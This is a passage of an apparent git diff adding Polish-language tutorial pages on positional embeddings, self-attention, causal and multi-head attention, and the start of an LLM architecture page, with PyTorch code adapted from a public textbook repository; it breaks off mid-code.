**Przykład Dodawania Osadzeń Pozycyjnych:**
|
||||
|
||||
Załóżmy, że wektor osadzenia tokenu to `[0.5, -0.2, 0.1]`, a jego wektor osadzenia pozycyjnego to `[0.1, 0.3, -0.1]`. Połączone osadzenie używane przez model byłoby:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
= [0.6, 0.1, 0.0]
|
||||
```
|
||||
**Zalety osadzeń pozycyjnych:**
|
||||
|
||||
* **Świadomość kontekstowa:** Model potrafi rozróżniać tokeny na podstawie ich pozycji.
|
||||
* **Zrozumienie sekwencji:** Umożliwia modelowi zrozumienie gramatyki, składni i znaczeń zależnych od kontekstu.
|
||||
|
||||
## Przykład kodu
|
||||
|
||||
Poniżej znajduje się przykład kodu z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Use previous code...
|
||||
|
||||
# Create dimensional emdeddings
|
||||
"""
|
||||
BPE uses a vocabulary of 50257 words
|
||||
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
|
||||
"""
|
||||
|
||||
vocab_size = 50257
|
||||
output_dim = 256
|
||||
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
|
||||
|
||||
## Generate the dataloader like before
|
||||
max_length = 4
|
||||
dataloader = create_dataloader_v1(
|
||||
raw_text, batch_size=8, max_length=max_length,
|
||||
stride=max_length, shuffle=False
|
||||
)
|
||||
data_iter = iter(dataloader)
|
||||
inputs, targets = next(data_iter)
|
||||
|
||||
# Apply embeddings
|
||||
token_embeddings = token_embedding_layer(inputs)
|
||||
print(token_embeddings.shape)
|
||||
torch.Size([8, 4, 256]) # 8 x 4 x 256
|
||||
|
||||
# Generate absolute embeddings
|
||||
context_length = max_length
|
||||
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
|
||||
|
||||
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
|
||||
|
||||
input_embeddings = token_embeddings + pos_embeddings
|
||||
print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
420
todo/llm-training-data-preparation/4.-attention-mechanisms.md
Normal file
|
@ -0,0 +1,420 @@
|
|||
# 4. Mechanizmy Uwagowe
|
||||
|
||||
## Mechanizmy Uwagowe i Samo-Uwaga w Sieciach Neuronowych
|
||||
|
||||
Mechanizmy uwagowe pozwalają sieciom neuronowym **skupić się na konkretnych częściach wejścia podczas generowania każdej części wyjścia**. Przypisują różne wagi różnym wejściom, pomagając modelowi zdecydować, które wejścia są najbardziej istotne dla danego zadania. Jest to kluczowe w zadaniach takich jak tłumaczenie maszynowe, gdzie zrozumienie kontekstu całego zdania jest niezbędne do dokładnego tłumaczenia.
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej czwartej fazy jest bardzo proste: **Zastosować kilka mechanizmów uwagowych**. Będą to **powtarzające się warstwy**, które **uchwycą relację słowa w słowniku z jego sąsiadami w aktualnym zdaniu używanym do trenowania LLM**.\
|
||||
W tym celu używa się wielu warstw, więc wiele parametrów do uczenia będzie uchwytywać te informacje.
|
||||
{% endhint %}
|
||||
|
||||
### Zrozumienie Mechanizmów Uwagowych
|
||||
|
||||
W tradycyjnych modelach sekwencja-do-sekwencji używanych do tłumaczenia języków, model koduje sekwencję wejściową w wektor kontekstowy o stałym rozmiarze. Jednak podejście to ma trudności z długimi zdaniami, ponieważ wektor kontekstowy o stałym rozmiarze może nie uchwycić wszystkich niezbędnych informacji. Mechanizmy uwagowe rozwiązują to ograniczenie, pozwalając modelowi rozważać wszystkie tokeny wejściowe podczas generowania każdego tokenu wyjściowego.
|
||||
|
||||
#### Przykład: Tłumaczenie Maszynowe
|
||||
|
||||
Rozważmy tłumaczenie niemieckiego zdania "Kannst du mir helfen diesen Satz zu übersetzen" na angielski. Tłumaczenie słowo po słowie nie dałoby gramatycznie poprawnego zdania w języku angielskim z powodu różnic w strukturach gramatycznych między językami. Mechanizm uwagi umożliwia modelowi skupienie się na istotnych częściach zdania wejściowego podczas generowania każdego słowa zdania wyjściowego, co prowadzi do dokładniejszego i spójnego tłumaczenia.
|
||||
|
||||
### Wprowadzenie do Samo-Uwagi
|
||||
|
||||
Samo-uwaga, lub intra-uwaga, to mechanizm, w którym uwaga jest stosowana w obrębie jednej sekwencji w celu obliczenia reprezentacji tej sekwencji. Pozwala to każdemu tokenowi w sekwencji zwracać uwagę na wszystkie inne tokeny, pomagając modelowi uchwycić zależności między tokenami, niezależnie od ich odległości w sekwencji.
|
||||
|
||||
#### Kluczowe Pojęcia
|
||||
|
||||
* **Tokeny**: Indywidualne elementy sekwencji wejściowej (np. słowa w zdaniu).
|
||||
* **Osadzenia**: Wektorowe reprezentacje tokenów, uchwycające informacje semantyczne.
|
||||
* **Wagi Uwagowe**: Wartości, które określają znaczenie każdego tokenu w stosunku do innych.
|
||||
|
||||
### Obliczanie Wag Uwagowych: Przykład Krok po Kroku
|
||||
|
||||
Rozważmy zdanie **"Hello shiny sun!"** i przedstawmy każde słowo za pomocą 3-wymiarowego osadzenia:
|
||||
|
||||
* **Hello**: `[0.34, 0.22, 0.54]`
|
||||
* **shiny**: `[0.53, 0.34, 0.98]`
|
||||
* **sun**: `[0.29, 0.54, 0.93]`
|
||||
|
||||
Naszym celem jest obliczenie **wektora kontekstowego** dla słowa **"shiny"** przy użyciu samo-uwagi.
|
||||
|
||||
#### Krok 1: Obliczanie Wyników Uwagowych
|
||||
|
||||
{% hint style="success" %}
|
||||
Po prostu pomnóż każdą wartość wymiaru zapytania przez odpowiednią wartość każdego tokenu i dodaj wyniki. Otrzymasz 1 wartość dla każdej pary tokenów.
|
||||
{% endhint %}
|
||||
|
||||
Dla każdego słowa w zdaniu oblicz wynik **uwagi** w odniesieniu do "shiny", obliczając iloczyn skalarny ich osadzeń.
|
||||
|
||||
**Wynik Uwagowy między "Hello" a "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Wynik Uwagowy między "shiny" a "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Wynik Uwagowy między "sun" a "shiny"**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
#### Krok 2: Normalizacja Wyników Uwagowych w Celu Uzyskania Wag Uwagowych
|
||||
|
||||
{% hint style="success" %}
|
||||
Nie gub się w terminach matematycznych, cel tej funkcji jest prosty, znormalizować wszystkie wagi, aby **suma wynosiła 1**.
|
||||
|
||||
Ponadto, funkcja **softmax** jest używana, ponieważ akcentuje różnice dzięki części wykładniczej, co ułatwia wykrywanie użytecznych wartości.
|
||||
{% endhint %}
|
||||
|
||||
Zastosuj funkcję **softmax** do wyników uwagi, aby przekształcić je w wagi uwagowe, które sumują się do 1.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
Obliczanie wykładników:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
Obliczanie sumy:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Obliczanie wag uwagowych:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### Krok 3: Obliczanie Wektora Kontekstowego
|
||||
|
||||
{% hint style="success" %}
|
||||
Po prostu weź każdą wagę uwagową i pomnóż ją przez odpowiednie wymiary tokenów, a następnie zsumuj wszystkie wymiary, aby uzyskać tylko 1 wektor (wektor kontekstowy) 
|
||||
{% endhint %}
|
||||
|
||||
**Wektor kontekstowy** jest obliczany jako ważona suma osadzeń wszystkich słów, przy użyciu wag uwagowych.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
||||
|
||||
Obliczanie każdego składnika:
|
||||
|
||||
* **Ważone Osadzenie "Hello"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **Ważone Osadzenie "shiny"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **Ważone Osadzenie "sun"**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sumując ważone osadzenia:
|
||||
|
||||
`wektor kontekstowy=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**Ten wektor kontekstowy reprezentuje wzbogaconą osadzenie dla słowa "shiny", uwzględniając informacje ze wszystkich słów w zdaniu.**
|
||||
|
||||
### Podsumowanie Procesu
|
||||
|
||||
1. **Oblicz Wyniki Uwagowe**: Użyj iloczynu skalarnego między osadzeniem docelowego słowa a osadzeniami wszystkich słów w sekwencji.
|
||||
2. **Normalizuj Wyniki, aby Uzyskać Wagi Uwagowe**: Zastosuj funkcję softmax do wyników uwagi, aby uzyskać wagi, które sumują się do 1.
|
||||
3. **Oblicz Wektor Kontekstowy**: Pomnóż osadzenie każdego słowa przez jego wagę uwagową i zsumuj wyniki.
|
||||
|
||||
## Samo-Uwaga z Uczonymi Wagami
|
||||
|
||||
W praktyce mechanizmy samo-uwagi używają **uczących się wag**, aby nauczyć się najlepszych reprezentacji dla zapytań, kluczy i wartości. Obejmuje to wprowadzenie trzech macierzy wag:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
Zapytanie to dane do użycia jak wcześniej, podczas gdy macierze kluczy i wartości to po prostu losowe macierze do uczenia.
|
||||
|
||||
#### Krok 1: Obliczanie Zapytania, Kluczy i Wartości
|
||||
|
||||
Każdy token będzie miał swoją własną macierz zapytania, klucza i wartości, mnożąc swoje wartości wymiarowe przez zdefiniowane macierze:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
Te macierze przekształcają oryginalne osadzenia w nową przestrzeń odpowiednią do obliczania uwagi.
|
||||
|
||||
**Przykład**
|
||||
|
||||
Zakładając:
|
||||
|
||||
* Wymiar wejściowy `din=3` (rozmiar osadzenia)
|
||||
* Wymiar wyjściowy `dout=2` (pożądany wymiar dla zapytań, kluczy i wartości)
|
||||
|
||||
Zainicjuj macierze wag:
|
||||
```python
|
||||
import torch.nn as nn
|
||||
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
|
||||
W_query = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_key = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_value = nn.Parameter(torch.rand(d_in, d_out))
|
||||
```
|
||||
Oblicz zapytania, klucze i wartości:
|
||||
```python
|
||||
queries = torch.matmul(inputs, W_query)
|
||||
keys = torch.matmul(inputs, W_key)
|
||||
values = torch.matmul(inputs, W_value)
|
||||
```
|
||||
#### Krok 2: Obliczanie uwagi z wykorzystaniem skalowanego iloczynu skalarnego
|
||||
|
||||
**Obliczanie wyników uwagi**
|
||||
|
||||
Podobnie jak w poprzednim przykładzie, ale tym razem, zamiast używać wartości wymiarów tokenów, używamy macierzy kluczy tokenu (już obliczonej przy użyciu wymiarów):. Tak więc, dla każdego zapytania `qi` i klucza `kj`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Skalowanie wyników**
|
||||
|
||||
Aby zapobiec zbyt dużym iloczynom skalarnym, skaluj je przez pierwiastek kwadratowy z wymiaru klucza `dk`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Wynik jest dzielony przez pierwiastek kwadratowy z wymiarów, ponieważ iloczyny skalarne mogą stać się bardzo duże, a to pomaga je regulować.
|
||||
{% endhint %}
|
||||
|
||||
**Zastosuj Softmax, aby uzyskać wagi uwagi:** Jak w początkowym przykładzie, znormalizuj wszystkie wartości, aby ich suma wynosiła 1. 
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### Krok 3: Obliczanie wektorów kontekstu
|
||||
|
||||
Jak w początkowym przykładzie, po prostu zsumuj wszystkie macierze wartości, mnożąc każdą z nich przez jej wagę uwagi:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
### Przykład kodu
|
||||
|
||||
Zabierając przykład z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), możesz sprawdzić tę klasę, która implementuje funkcjonalność samouważności, o której rozmawialiśmy:
|
||||
```python
|
||||
import torch
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
import torch.nn as nn
|
||||
class SelfAttention_v2(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
|
||||
def forward(self, x):
|
||||
keys = self.W_key(x)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.T
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
d_in=3
|
||||
d_out=2
|
||||
torch.manual_seed(789)
|
||||
sa_v2 = SelfAttention_v2(d_in, d_out)
|
||||
print(sa_v2(inputs))
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Zauważ, że zamiast inicjować macierze losowymi wartościami, używa się `nn.Linear`, aby oznaczyć wszystkie wagi jako parametry do trenowania.
|
||||
{% endhint %}
|
||||
|
||||
## Causal Attention: Ukrywanie Przyszłych Słów
|
||||
|
||||
Dla LLM-ów chcemy, aby model brał pod uwagę tylko tokeny, które pojawiają się przed bieżącą pozycją, aby **przewidzieć następny token**. **Causal attention**, znane również jako **masked attention**, osiąga to poprzez modyfikację mechanizmu uwagi, aby zapobiec dostępowi do przyszłych tokenów.
|
||||
|
||||
### Stosowanie Maski Causal Attention
|
||||
|
||||
Aby zaimplementować causal attention, stosujemy maskę do wyników uwagi **przed operacją softmax**, aby pozostałe sumowały się do 1. Ta maska ustawia wyniki uwagi przyszłych tokenów na minus nieskończoność, zapewniając, że po softmax ich wagi uwagi wynoszą zero.
|
||||
|
||||
**Kroki**
|
||||
|
||||
1. **Oblicz Wyniki Uwagi**: Tak jak wcześniej.
|
||||
2. **Zastosuj Maskę**: Użyj macierzy górnej trójkątnej wypełnionej minus nieskończonością powyżej przekątnej.
|
||||
|
||||
```python
|
||||
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
|
||||
masked_scores = attention_scores + mask
|
||||
```
|
||||
3. **Zastosuj Softmax**: Oblicz wagi uwagi, używając zamaskowanych wyników.
|
||||
|
||||
```python
|
||||
attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
```
|
||||
|
||||
### Maskowanie Dodatkowych Wag Uwagi z Dropout
|
||||
|
||||
Aby **zapobiec przeuczeniu**, możemy zastosować **dropout** do wag uwagi po operacji softmax. Dropout **losowo zeruje niektóre z wag uwagi** podczas treningu.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
```
|
||||
Zwykła utrata to około 10-20%.
|
||||
|
||||
### Code Example
|
||||
|
||||
Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb):
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
batch = torch.stack((inputs, inputs), dim=0)
|
||||
print(batch.shape)
|
||||
|
||||
class CausalAttention(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, context_length,
|
||||
dropout, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.d_out = d_out
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # This generates the keys of the tokens
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
|
||||
attn_scores.masked_fill_( # New, _ ops are in-place
|
||||
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
|
||||
attn_weights = torch.softmax(
|
||||
attn_scores / keys.shape[-1]**0.5, dim=-1
|
||||
)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
context_length = batch.shape[1]
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
ca = CausalAttention(d_in, d_out, context_length, 0.0)
|
||||
|
||||
context_vecs = ca(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## Rozszerzenie uwagi z pojedynczej głowy na uwagę z wieloma głowami
|
||||
|
||||
**Uwaga z wieloma głowami** w praktyce polega na wykonywaniu **wielu instancji** funkcji uwagi własnej, z których każda ma **swoje własne wagi**, dzięki czemu obliczane są różne wektory końcowe.
|
||||
|
||||
### Przykład kodu
|
||||
|
||||
Możliwe byłoby ponowne wykorzystanie poprzedniego kodu i dodanie opakowania, które uruchamia go kilka razy, ale to jest bardziej zoptymalizowana wersja z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb), która przetwarza wszystkie głowy jednocześnie (zmniejszając liczbę kosztownych pętli for). Jak widać w kodzie, wymiary każdego tokena są dzielone na różne wymiary w zależności od liczby głów. W ten sposób, jeśli token ma 8 wymiarów i chcemy użyć 3 głów, wymiary będą podzielone na 2 tablice po 4 wymiary, a każda głowa użyje jednej z nich:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert (d_out % num_heads == 0), \
|
||||
"d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer(
|
||||
"mask",
|
||||
torch.triu(torch.ones(context_length, context_length),
|
||||
diagonal=1)
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
batch_size, context_length, d_in = batch.shape
|
||||
d_out = 2
|
||||
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
|
||||
|
||||
context_vecs = mha(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
|
||||
```
|
||||
Dla innej kompaktowej i wydajnej implementacji możesz użyć klasy [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) w PyTorch.
|
||||
|
||||
{% hint style="success" %}
|
||||
Krótka odpowiedź ChatGPT na pytanie, dlaczego lepiej jest podzielić wymiary tokenów między głowami, zamiast pozwalać każdej głowie sprawdzać wszystkie wymiary wszystkich tokenów:
|
||||
|
||||
Chociaż pozwolenie każdej głowie na przetwarzanie wszystkich wymiarów osadzenia może wydawać się korzystne, ponieważ każda głowa miałaby dostęp do pełnych informacji, standardową praktyką jest **podział wymiarów osadzenia między głowami**. Takie podejście równoważy wydajność obliczeniową z wydajnością modelu i zachęca każdą głowę do uczenia się różnorodnych reprezentacji. Dlatego podział wymiarów osadzenia jest ogólnie preferowany w porównaniu do pozwolenia każdej głowie na sprawdzanie wszystkich wymiarów.
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
667
todo/llm-training-data-preparation/5.-llm-architecture.md
Normal file
|
@ -0,0 +1,667 @@
|
|||
# 5. LLM Architecture
|
||||
|
||||
## LLM Architecture
|
||||
|
||||
{% hint style="success" %}
|
||||
Celem tej piątej fazy jest bardzo prosty: **Opracowanie architektury pełnego LLM**. Połącz wszystko, zastosuj wszystkie warstwy i stwórz wszystkie funkcje do generowania tekstu lub przekształcania tekstu na identyfikatory i odwrotnie.
|
||||
|
||||
Ta architektura będzie używana zarówno do treningu, jak i przewidywania tekstu po jego wytrenowaniu.
|
||||
{% endhint %}
|
||||
|
||||
Przykład architektury LLM z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
|
||||
|
||||
Wysokopoziomowa reprezentacja może być obserwowana w:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
|
||||
1. **Input (Tokenized Text)**: Proces zaczyna się od tokenizowanego tekstu, który jest przekształcany w reprezentacje numeryczne.
|
||||
2. **Token Embedding and Positional Embedding Layer**: Tokenizowany tekst przechodzi przez warstwę **token embedding** oraz warstwę **positional embedding**, która uchwyca pozycję tokenów w sekwencji, co jest kluczowe dla zrozumienia kolejności słów.
|
||||
3. **Transformer Blocks**: Model zawiera **12 bloków transformatorowych**, z których każdy ma wiele warstw. Te bloki powtarzają następującą sekwencję:
|
||||
* **Masked Multi-Head Attention**: Pozwala modelowi skupić się na różnych częściach tekstu wejściowego jednocześnie.
|
||||
* **Layer Normalization**: Krok normalizacji, aby ustabilizować i poprawić trening.
|
||||
* **Feed Forward Layer**: Odpowiedzialna za przetwarzanie informacji z warstwy uwagi i dokonywanie prognoz dotyczących następnego tokena.
|
||||
* **Dropout Layers**: Te warstwy zapobiegają przeuczeniu, losowo eliminując jednostki podczas treningu.
|
||||
4. **Final Output Layer**: Model generuje **4x50,257-wymiarowy tensor**, gdzie **50,257** reprezentuje rozmiar słownika. Każdy wiersz w tym tensorze odpowiada wektorowi, który model wykorzystuje do przewidywania następnego słowa w sekwencji.
|
||||
5. **Goal**: Celem jest wzięcie tych osadzeń i przekształcenie ich z powrotem w tekst. Konkretnie, ostatni wiersz wyjścia jest używany do generowania następnego słowa, reprezentowanego jako "forward" w tym diagramie.
|
||||
|
||||
### Code representation
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import tiktoken
|
||||
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.layers(x)
|
||||
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
